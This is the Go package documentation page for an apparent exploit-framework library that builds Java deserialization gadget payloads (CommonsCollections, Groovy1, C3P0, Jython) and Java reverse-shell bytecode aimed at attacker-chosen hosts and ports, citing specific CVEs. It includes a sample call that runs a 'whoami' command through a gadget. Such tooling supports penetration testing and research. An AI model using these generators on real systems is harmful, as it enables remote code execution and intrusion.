java

package
v1.58.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Mar 10, 2026 License: Apache-2.0 Imports: 12 Imported by: 1

Documentation

Overview

The Java analog to the dotnet deserialization generation package.

This allows for the creation of java deserialization payload gadgets in much the same way as we do for the dotnet package. This is done using a number of structs and methods to construct the "records" in accordance with the java spec: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html#10258

This is not a comprehensive reproduction of the java serialization protocol but only as-needed given what gadgets we have reproduced thus far.

Usage of these gadget generation functions could look like this:

gadget, ok := CreateGroovy1("cmd.exe /c whoami>C:\\temp\\pr00f.txt")
if !ok {
	return false
}

// use gadget var...

This is where the logic is defined to construct sound "records" for the Java serialization protocol as defined here: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html

All fields MUST implement the Field interface. All Content types MUST implement the TCContent interface.

Index

Constants

This section is empty.

Variables

View Source
var (
	StreamMagicCode   = [2]byte{0xac, 0xed}
	StreamVersionCode = []byte{0x00, 0x05}
)
View Source
var (
	TCNullCode           byte = 0x70
	TCReferenceCode      byte = 0x71
	TCClassDescCode      byte = 0x72
	TCObjectCode         byte = 0x73
	TCStringCode         byte = 0x74
	TCArrayCode          byte = 0x75
	TCClassCode          byte = 0x76
	TCBlockDataCode      byte = 0x77
	TCEndBlockDataCode   byte = 0x78
	TCResetCode          byte = 0x79
	TCBlockDataLongCode  byte = 0x7A
	TCExceptionCode      byte = 0x7B
	TCLongStringCode     byte = 0x7C
	TCProxyClassDescCode byte = 0x7D
	TCEnumCode           byte = 0x7E
)

"Terminal Codes", these indicate the "record" type that is about to be defined in the serialization stream. An example from the spec:

newArray:
  TC_ARRAY classDesc newHandle (int)<size> values[size]

Where classDesc will also use it's own terminal codes depending on classDesc type:

classDesc:
  newClassDesc
  nullReference
  (ClassDesc)prevObject      // an object required to be of type ClassDesc

newClassDesc:
  TC_CLASSDESC className serialVersionUID newHandle classDescInfo
  TC_PROXYCLASSDESC newHandle proxyClassDescInfo
View Source
var (
	SCWriteMethodCode    byte = 0x01
	SCBlockDataCode      byte = 0x08
	SCSerializableCode   byte = 0x02
	SCExternalizableCode byte = 0x04
	SCEnumCode           byte = 0x10
)
View Source
var (
	TypeByteCode    byte = 0x42 // B
	TypeCharCode    byte = 0x43 // C
	TypeDoubleCode  byte = 0x44 // D
	TypeFloatCode   byte = 0x46 // F
	TypeIntegerCode byte = 0x49 // I
	TypeLongCode    byte = 0x4A // J
	TypeShortCode   byte = 0x53 // S
	TypeBooleanCode byte = 0x5A // Z
	// OBJECT TYPES.
	TypeObjectCode byte = 0x4C // L
	TypeArrayCode  byte = 0x5B // [
)

Primitive type definitions, used to define primitive field types. Information from the spec:

primitiveDesc:
  prim_typecode fieldName

prim_typecode:
  `B'       // byte
  `C'       // char
  `D'       // double
  `F'       // float
  `I'       // integer
  `J'       // long
  `S'       // short
  `Z'       // boolean

Functions

func C3P0ClassCallbackBytecode added in v1.48.0

func C3P0ClassCallbackBytecode(baseURL, className string) (string, error)

Load `className` from `baseURL` using `URLClassLoader`.

Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "<base_url>" and "<classname>".

func Commons6ModifiedBashCommandBytecode added in v1.40.0

func Commons6ModifiedBashCommandBytecode(commandStr string) (string, error)

This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to prepend it with a bash -c, and the spaces do not need to be replaced with $IFS. It also solves redirection issues that are present in unmodified ysoserial payloads. This payload will always run the provided command using bash, hence the name. That said you should not need, nor should you prepend a <shell> -c to commandStr parameter passed here.

func Commons10CommandBytecode added in v1.40.0

func Commons10CommandBytecode(commandStr string) (string, error)

Generated using ysoserial with CommonsCollections10.

func CreateBeanutilsReverseShell

func CreateBeanutilsReverseShell(lhost string, lport int) string

This is a serialized java reverse shell. The gadget was generated by ysoserial but using the code in this pull https://github.com/frohoff/ysoserial/pull/96 and updated to make it easy to swap in the desired lhost+lport of our choosing without having to recreate the gadget.

The gadget works on both Windows and Linux and will automatically detect the platform and tool to use for executing commands (cmd.exe or /bin/bash).

func CreateCommonsCollections1 added in v1.54.0

func CreateCommonsCollections1(program string, args string) ([]byte, bool)

Generates the CommonsCollections1 gadget payload.

func CreateCommonsCollections5 added in v1.54.0

func CreateCommonsCollections5(program string, args string) ([]byte, bool)

Generates the CommonsCollections5 gadget payload.

func CreateCommonsCollections6 added in v1.54.0

func CreateCommonsCollections6(program string, args string) ([]byte, bool)

Generates the CommonsCollections6 gadget payload.

func CreateGWT added in v1.58.0

func CreateGWT(command string) ([]byte, bool)

Generates a gadget for use in GWT-based deserialization payloads. Encode using EncodeBase64GWT, not enforced here.

func CreateGroovy1 added in v1.54.0

func CreateGroovy1(command string) ([]byte, bool)

Generates the Groovy1 gadget payload.

func CreateJythonRunCodeGadget added in v1.1.0

func CreateJythonRunCodeGadget(payload string) string

This function generates a serialized Jython payload that executes arbitrary Python. It's the "runcode" variation of Steven Seeley and Rocco Calvi's Jython2:

https://github.com/frohoff/ysoserial/pull/200/files

The payload can be used like so:

java.CreateJythonRunCodeGadget(payload.UnflattenedSecureReversePython27(conf.Lhost, conf.Lport))

The payload was serialized and tested on Java 11.

func ErrorInvalidCallbackArg added in v1.48.0

func ErrorInvalidCallbackArg(msg string) error

func ErrorInvalidCommandLength added in v1.39.0

func ErrorInvalidCommandLength(msg string) error

func ReverseShellBytecode added in v1.8.1

func ReverseShellBytecode(conf *config.Config) (string, string)

This is the Java bytecode for a reverse shell. You can find the source code here:

https://gist.github.com/j-baines/38eb6d16eed64986a369f7f981f57508

The code checks if the victim is Windows or Linux and uses bash or cmd.exe accordingly. The use case for this is when remotely loading a class (see CVE-2020-7961) or loading a class from a byte string (see CVE-2023-22527).

The bytecode was generated using OpenJDK 1.8.0. The exact method of generation follows:

albinolobster@mournland:/tmp/java$ java -version
openjdk version "1.8.0_392"
OpenJDK Runtime Environment (build 1.8.0_392-8u392-ga-1~20.04-b08)
OpenJDK 64-Bit Server VM (build 25.392-b08, mixed mode)
albinolobster@mournland:/tmp/java$ javac ABCDEFG.java
albinolobster@mournland:/tmp/java$ ls -l ABCDEFG.class
-rw-rw-r-- 1 albinolobster albinolobster 2129 Feb 17 06:08 ABCDEFG.class

This function replaces hardcoded IP address and port in the bytecode and generates a random class name. The return values are (bytecode, classname).

func ReverseShellScriptingEngineBytecode added in v1.26.0

func ReverseShellScriptingEngineBytecode(conf *config.Config) (string, string)

This is the Java bytecode for a reverse shell. You can find the source code here:

https://gist.github.com/j-shomo/053031f2ee9ba7f29fca2305c6ea8c6a

The code checks if the victim is Windows or Linux and uses bash or cmd.exe accordingly. The use case for this is when remotely loading a class via ScriptEngineManager calling URLClassLoader (see CVE-2024-37084)

The bytecode was generated using OpenJDK 1.8.0. The exact method of generation follows:

parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ java -version openjdk version "1.8.0_422" OpenJDK Runtime Environment (build 1.8.0_422-8u422-b05-1~22.04-b05) OpenJDK 64-Bit Server VM (build 25.422-b05, mixed mode) parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ javac Reverse.java parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ ls -l Reverse.class -rw-rw-r-- 1 parallels parallels 3124 Sep 20 12:58 Reverse.class

This function replaces hardcoded IP address and port in the bytecode and generates a random class name. The return values are (bytecode, classname).

Types

type ArrayBytes added in v1.58.0

type ArrayBytes struct {
	Data []byte
}

func (ArrayBytes) ToBytes added in v1.58.0

func (arrayBytes ArrayBytes) ToBytes() ([]byte, bool)

type ArrayField added in v1.54.0

type ArrayField struct {
	Name  string
	Value string
}

func (ArrayField) ToFieldBin added in v1.54.0

func (arrayField ArrayField) ToFieldBin() ([]byte, bool)

type Field added in v1.54.0

type Field interface {
	ToFieldBin() ([]byte, bool)
}

type FloatField added in v1.54.0

type FloatField struct {
	Name string
}

func (FloatField) ToFieldBin added in v1.54.0

func (floatField FloatField) ToFieldBin() ([]byte, bool)

type IntegerField added in v1.54.0

type IntegerField struct {
	Name string
}

func (IntegerField) ToFieldBin added in v1.54.0

func (integerField IntegerField) ToFieldBin() ([]byte, bool)

type ObjectField added in v1.54.0

type ObjectField struct {
	Name  string
	Value any
}

func (ObjectField) ToFieldBin added in v1.54.0

func (objectField ObjectField) ToFieldBin() ([]byte, bool)

type TCArray added in v1.54.0

type TCArray struct {
	InfoContent TCContent
	TCContents  []TCContent
}

func (TCArray) ToBytes added in v1.54.0

func (tcArray TCArray) ToBytes() ([]byte, bool)

type TCBlockData added in v1.54.0

type TCBlockData struct {
	Value   string
	OmitEnd bool
}

func (TCBlockData) ToBytes added in v1.54.0

func (tcBlockData TCBlockData) ToBytes() ([]byte, bool)

type TCClass added in v1.54.0

type TCClass struct {
	InfoContent TCContent
}

func (TCClass) ToBytes added in v1.54.0

func (tcClass TCClass) ToBytes() ([]byte, bool)

type TCClassDesc added in v1.54.0

type TCClassDesc struct {
	Name             string
	SerialVersionUID []byte // Should be 8 bytes
	Flags            byte
	Fields           []Field
	SuperClassDesc   TCContent
}

func (TCClassDesc) ToBytes added in v1.54.0

func (tcClassDesc TCClassDesc) ToBytes() ([]byte, bool)

type TCContent added in v1.54.0

type TCContent interface {
	ToBytes() ([]byte, bool)
}

Any java serialization record that can may be contained within a TCContent struct must implement this interface.

type TCEndBlockData added in v1.54.0

type TCEndBlockData struct{}

func (TCEndBlockData) ToBytes added in v1.54.0

func (tcEndBlockData TCEndBlockData) ToBytes() ([]byte, bool)

type TCFloat added in v1.54.0

type TCFloat struct {
	Value float32
}

func (TCFloat) ToBytes added in v1.54.0

func (tcFloat TCFloat) ToBytes() ([]byte, bool)

type TCInteger added in v1.54.0

type TCInteger struct {
	Value int
}

func (TCInteger) ToBytes added in v1.54.0

func (tcInteger TCInteger) ToBytes() ([]byte, bool)

type TCNull added in v1.54.0

type TCNull struct{}

func (TCNull) ToBytes added in v1.54.0

func (tcNull TCNull) ToBytes() ([]byte, bool)

type TCObject added in v1.54.0

type TCObject struct {
	InfoContent TCContent
	TCContents  []TCContent
}

func (TCObject) ToBytes added in v1.54.0

func (tcObject TCObject) ToBytes() ([]byte, bool)

type TCProxyClassDesc added in v1.54.0

type TCProxyClassDesc struct {
	InfoContent TCContent
	TCContents  []TCContent

	Interfaces     []string
	SuperClassDesc TCClassDesc
}

func (TCProxyClassDesc) ToBytes added in v1.54.0

func (tcProxyClassDesc TCProxyClassDesc) ToBytes() ([]byte, bool)

type TCReference added in v1.54.0

type TCReference struct {
	Handler []byte
}

func (TCReference) ToBytes added in v1.54.0

func (tcReference TCReference) ToBytes() ([]byte, bool)

type TCString added in v1.54.0

type TCString struct {
	Value string
}

func (TCString) ToBytes added in v1.54.0

func (tcString TCString) ToBytes() ([]byte, bool)

Directories

Path Synopsis
This is an implementation of an evil JNDI LDAP server.
This is an implementation of an evil JNDI LDAP server.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL